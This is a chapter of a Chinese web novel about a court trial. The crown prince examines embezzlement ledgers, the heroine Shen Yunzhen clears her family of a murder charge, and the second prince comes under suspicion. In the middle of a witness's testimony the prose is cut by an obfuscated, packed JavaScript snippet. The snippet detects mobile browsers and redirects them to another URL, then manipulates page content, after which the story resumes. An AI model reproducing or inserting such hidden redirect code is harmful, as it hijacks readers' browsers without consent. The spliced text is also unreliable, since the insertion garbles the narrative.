第二日清晨,大理寺。
太子谢盛璟亲临监审。
两名大理寺差役抬上一口铁箱,当众开锁。
箱中正是江南贪污案的原始账册,封条完好,朱印鲜明。
验看过封条后,太子命人将账册抬至案前,当庭开封。
随着纸页一页页被翻过检阅,在场众人神色各异。
账册上详细记录了江南三省五年来各项赋税的收支,其中有近三成的款项去向不明。
经手人签名处赫然出现了齐闽及其门生的名字。
而更让人心惊的是,最近的两笔巨额亏空的时间点,恰好与修缮堤坝与赈灾的时间对上。
“齐大人。”
太子合上账册,声音听不出情绪。
“这些款项,你作何解释?”
齐闽瘫软在地,嘴唇哆嗦着,却一个字也说不出。
“殿下。”
赵归明忽然开口:“臣还有一物呈上。”
他从怀中取出另一本薄薄的册子。
翻开其中一页,上面密密麻麻记录着数笔暗账。
其中收款一方,并非齐闽,而是一个代号为“玄鸟”的人。
“此乃臣安插在齐府的眼线,冒死抄录的私帐。”
“哦?”
太子接过册子看了起来。
账目很清晰,每一笔款项的去向,皆有记录。
翻至后半,一些隐秘的条目逐渐浮现。
数笔巨额银两,通过几层中转,最终流入这名为“玄鸟”的江南富商私库中。
“这名江南富商的背后,隐隐与朝中几名官员有所牵连,而这些官员,皆是……亲近二皇子……”
“胡说八道!”
二皇子谢允昭勃然变色。
他坐于太子下首,初时还镇定自若,待看到赵归明拿出那本薄册时,面色渐渐便有些发白了。
赵归明看向面色铁青的二皇子,缓缓道:“二殿下,别急,臣的话还没说完。”
大理寺衙门外。
沈云珍作为此次案件的相关人,已经提前等候在这了。
她今日难得穿了件深色衣裙,整个人显得有些庄重。
发间簪着几只素银梅花簪,自有一股清贵气度。
马车在衙门前停下时,已有不少官员与百姓围聚。
见她下车,窃窃私语声顿起。
沈云珍恍若未闻,挺直脊背,由小杏搀扶着踏上石阶。
即将入门之际,身后忽然传来一声尖利的讥讽声:“安宁县主好大的架子,牵涉命案,还敢这般招摇过市,莫非以为家中有人护着,便能无视法纪了?”
众人转头,只见一名身着官袍,面容刻薄的御史正冷眼看来。
是日前在朝上弹劾赵归明的汪焕一党。
沈云珍脚步未停,只淡淡回首:“这位大人,臣女今日不过是奉旨前来配合查案,何来招摇一说?至于法纪……”
她抬眼,目光清亮。
“臣女相信,三司会审,自有公道。”
她话音刚落,衙内走出一人。
是赵归明。
他踏雪而来,腰间的玉带,勾勒出劲瘦的腰身。
行至沈云珍身侧时,伸手虚扶了一把:“安宁县主,请。”
他的声音一出,周遭杂音瞬间低了下去。
两人一前一后走入衙门。
身后那名御史的脸色青白交加,却碍于赵归明,不敢再多言。
堂内已坐满官员,主位之上,自然是太子谢盛璟,二皇子谢允昭立在太子身侧,面色沉郁。
大理寺卿、刑部尚书、都察院御史等官员,分坐两侧。
堂下还跪着数十名涉案官员,皆是江南贪污案中揪出的蛀虫。
他们面色如土,瑟瑟发抖的趴跪在地上,口中不停的喊着“冤枉”。
沈云珍入内,所有人的目光都聚了过来。
审视、好奇、疑虑,兼而有之。
“臣女沈云珍,拜见诸位大人。”
她依礼下拜,声音不卑不亢。
太子抬手:“安宁县主请起,今日传唤,是为齐修成坠崖旧案,县主与齐公子曾是旧识,不知对此案有何见解?”
沈云珍直起身,却不急着回答。
她从袖中取出一卷装订整齐的册子,双手呈上。
“此为民女所撰《灾异与防疫录(册一)》,其中详细记录了江南水患期间,青州、江宁等七县灾情数据、措施及效验。”
她的目光扫过堂上众人:“呈此策,是想请诸位大人明鉴。一个能在灾时不顾安危,救治数千百姓之人,有何动机与心力,去谋害一个自幼相识的旧友?”
堂上顿时一片寂静。
太子接过册子,翻开。
关于这本册子,他早有所耳闻,父皇已经看过且夸过,不日还将推行下去。
这册子上的记录很详实,条理也分明,确实是一个真正深入过灾情、用心思考过对策的人,才能写出的东西。
他递给一旁的二皇子与几名官员传阅,大家越看神色越郑重。
“这些……都是县主亲自所记?”
有人小声交谈。
汪焕突然开口,看向沈云珍的眼神很是凌厉:“县主为何要做这些?以你的身份,于灾情中脱险并不困难,何以如此费心?”
沈云珍迎上他的目光,缓缓道:“因为这上面每一条记录的背后,都有可能是一条人命。”
她声音不大,却字字清晰。
“至于为何费心……大人,你可曾亲眼见过,父母抱着高热的孩童,跪在雨中求药?见过老人捧着泥水饥渴啜饮?如若有,您大概就不会问我这个问题了。”
一时鸦雀无声。
赵归明立于一侧,静静地看着沈云珍。
她站在那里,像一颗笔直的竹子,眉眼间没有半分怯懦,只有历经磨难后淬炼出的沉静与智慧。
他爱的女子,不是攀附大树的藤蔓,而是能自成一片遮风挡雨的竹林。
“好。”
太子眼中闪过赞许。
“县主之心,孤已明了。”
堂上氛围悄然转变,那些关于“女子无能”、“私情误事”的暗讽,在这样一份实绩面前,是那样的苍白可笑。
而在这时,赵归明又带上了一名新的人证。
一位曾在齐修成坠崖地点附近村落行医的老郎中。
他穿着粗布麻衣,年约六旬,满面风霜,跪地时手脚都在发抖。
他证实事发当日,曾见过几名形迹可疑的外乡人在乡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213495|196889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间活动,衣着打扮皆似江湖中人。
“小民记得清楚。”老郎中颤颤巍巍开口,“那几人袖口皆有黑鹰纹样,像是……像是青州一带山匪的标志,他们追着一个年轻公子……”
他指的,是青州附近较为出名的黑鹰寨匪寇,盘踞青州多年,朝廷剿过几次,皆未根除。
齐闽难以置信的从地上起身:“你说什么?!”
人群中也起了些议论声。
若真是他们所为,那便与沈家毫无关系。
“大人息怒!”
那老郎中吓得再次伏地。
“小民不敢撒谎,那伙人凶神恶煞,手里都拿着刀,小民因害怕,躲在山石后面不敢出声,这才避过一劫。”
“你确定看清楚了被追的人?”
大理寺卿追问道。
老郎中摇头:“离得远,看不清脸,但那公子腰上挂着的玉牌的样式,小民是记得的。”
齐闽当即从腰上扯下一物:“可是这块?”
老郎中眯着眼仔细瞧了半晌,犹豫道:“好像……有点像。”
齐闽当场软了腿脚。
赵归明立于堂中,声音沉稳:“经查实,黑鹰寨匪首,半年前曾与一名自称皇子门客的男子,有过接触,只是在查到那名来客时,却发现他已于数月前暴病身亡,线索就此断了。”
议论声更大了,在场之人都听懂了他这句话的弦外之音。
在二皇子的眼神示意下,一名官员站出来:“赵大人,你的意思是,有人故意陷害沈家?”
赵归明心中冷笑。
这二殿下,一边收着齐家进献的银子,一边暗中联络悍匪,追杀齐修成。
目的大概就是想拿捏住齐家的把柄,逼齐尚书为他所用。
“臣也只是猜测。”
二皇子在此时适时开口:“毕竟没有证据,还是不要轻易下定论为好,免得被人说血口喷人。”
说到这里,他的声音变得阴恻恻的:“构陷皇子,罪名可不轻。”
“二皇兄。”
太子不赞成的摇摇头:“赵卿并未点名道姓,是否血口喷人,还需继续彻查。”
他的目光扫过瘫在地上的齐闽:“齐尚书,此账本上记录你与那江南富商往来密切,此事你还有什么要交代的?”
铁证如山,齐家这只啃食朝廷多年的蛀虫,总算是被人给拿捏住了。
他颓丧的摇摇头。
沈齐两家的旧案,随着人证的出现,沈家的嫌疑也被彻底洗清。
至于真凶究竟是谁……
到底是二皇子欲控制齐家设的局,还是齐家内部有人借机铲除齐修成,已经无人再去深究。
一个大势已去的家族,此刻彻底成为了弃子。
太子站起身,扫视堂下众人:“今日会审,案情已明。齐修成坠崖一事,乃匪寇所为,与沈家无关。江南贪污案主犯齐闽,贪墨数额巨大,证据确凿,从犯若干,依律论处。至于其他……”
他看向脸色难看的谢允昭:“交由父皇圣裁。”
会审在暮色四合时落下帷幕。
齐闽被当场摘去官帽,押入天牢,其余涉案官员或革职或流放。
二皇子虽未获罪,但勾结朝臣的嫌疑,却如阴云一般笼罩在他头顶。